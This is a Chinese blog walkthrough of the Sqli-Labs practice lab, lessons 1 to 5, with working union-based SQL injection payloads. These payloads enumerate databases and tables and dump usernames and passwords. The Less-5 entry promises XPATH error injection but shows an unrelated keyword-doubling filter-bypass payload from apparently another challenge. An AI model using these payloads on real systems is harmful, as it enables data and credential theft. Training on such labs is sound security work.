【旧活新整】Sql-Labs全攻略(持续更新)

Sql-Labs全攻略(持续更新)

 

平台搭建

 

使用PHPStudy在本地搭建平台

 

之前因为工作原因,操作不是很方便,所以就只是在服务器端搭建了一个平台,然后就遇上了各种各样的bug和要迈过去的坎,也不能说浪费了很多时间,至少这些时间和精力也是技术成长的一部分嘛hhh,但是毕竟我现在重点在旧活新整,所以图个省事,现在也没有那么多阻碍了。

到网上看了一眼才发现现在有人整了个很不错的软件出来了,一键搭建,很帅。

我之前在学校里一直用的是xampp,现在这个软件既然这么方便所以直接用上了。

 

 

Github

 

Sql-Labs下载地址:https://github.com/Audi-1/sqli-labs

 

解决方案

 

SQLi-LABS Page-1(Basic Challenges)

 

 

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

 

先试验一下

 

 报错信息提示是在1之后,说明可以用字符型闭合来注入。

 

测试到4的时候开始报错:

 

 

说明表单总共有三列的数据。

 

注:--+可以注释掉后面的闭合,我忘了和#有什么区别来着了……先留个坑。

前段时间考试太多,忙活两年,基本功忘差不多了……

 

这里使用联合查询

 

 

TIP:

 

 

所以这里需要改一下:

 

 

回显的位置在2和3上面

试试:

 

 

可以成功的。

 

这里补充一个知识点:

 

SQL注入中group_concat的学习笔记


mysql中的information_schema 结构用来存储数据库系统信息
information_schema 结构中这几个表存储的信息,在注入中可以用到的几个表。


SCHEMATA :存储数据库名的,
——>关键字段:SCHEMA_NAME,表示数据库名称


TABLES :存储表名的

——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;

——>关键字段:TABLE_NAME表示所属的表的名称


COLUMNS :存储字段名的

——>关键字段:COLUMN_NAME表示字段名


可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。

爆所有数据名

select group_concat(SCHEMA_NAME) from information_schema.schemata

得到当前库的所有表

select group_concat(table_name) from information_schema.tables where table_schema=database()

得到表中的字段名 将敏感的表进行16进制编码password=0x70617373776F7264

select group_concat(column_name) from information_schema.columns where table_name=0x70617373776F7264

 

所以这里可以继续进行注入,查询所有数据库的名称:

 

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 

 

 

 这里查看之前database()查到的security库的表的名称:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 

 

 

然后查security库里的表名为users的表的列名,估计这个表里存用户信息:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 

 

 

 进一步注入,查询内容:

?id=-1' union select 1,2,group_concat(concat('  ID: ',id,' Name: ',username,' Pass: ',password)) from security.users --+ 

 

 

Lesson1到这里全部结束。

 

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

 方法同Lesson-1

问就是一个字符型注入一个整型注入

不同的地方在于一个注入时id=1后有单引号另外一个没有

因为后端在处理sql语句的时候一个当作字符“1”来处理另一个当作整型1来处理

所以加上引号就变成了‘1’而另外一个就是1

验证方法如下:

 

这里有回显。

 

 这样会报错。

 

所以是整型注入,不用加引号即可。

 

 源码:

 

 

其他不多赘述。

 

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

 

其实同Lesson-2

只是这次是字符型注入,然后得多补上一个右括号。

看下源码:

 

 因为源码中的sql语句多了一个括号,所以这里?id=1‘)把sql语句补全就可以了。

这里的--+不能换成#,会报错,主要是忘了#和--+的区别了……

貌似--+更稳妥,先留个坑,日后找一下资料看一眼。

 

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

 

道理同Lesson-3,这里是双引号的情况。

 

 所以构造方式为 id=1")

这里小小分析一下吧,本人过于愚笨没有第一时间反应过来,所以就看了一下sql的回显。

这里介绍一个小TIP:输入echo $sql; 和echo "<br>";

如图:

 

 这样在注入时网页会显示sql语句的全貌:

 

 这就跟我想的一摸一样,就是一个简单的补充构造来瞒天过海的过程。

说一下之所以让我思考了一下,因为这里我参考的老哥的bolg的写法:

 

 这个”注释双引号“的操作让我没反应过来。我还在想这里不是-1之后所有的内容都是作为id的内容传上去的呀,而不是只有-1是id的内容,所以上面给$id加双引号的操作也应该加在--+的后面来着。

也有可能是我没有考虑清楚,这里标注一下,我和这个老哥中应该有一个人的想法是错误的。

本题其他所有内容参考Lesson-1

 

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

 

这里可以利用XPATH报错来完成注入。

 

 

?username=ad%27%20ununionion%20selselectect%201,2,(selselectect%20group_concat(passwoorrd)frfromom b4bsql whewherere username='flag')%20%23&password=1

 

posted @ 2022-05-17 01:11  杰瑞骑士  阅读(529)  评论(0编辑  收藏  举报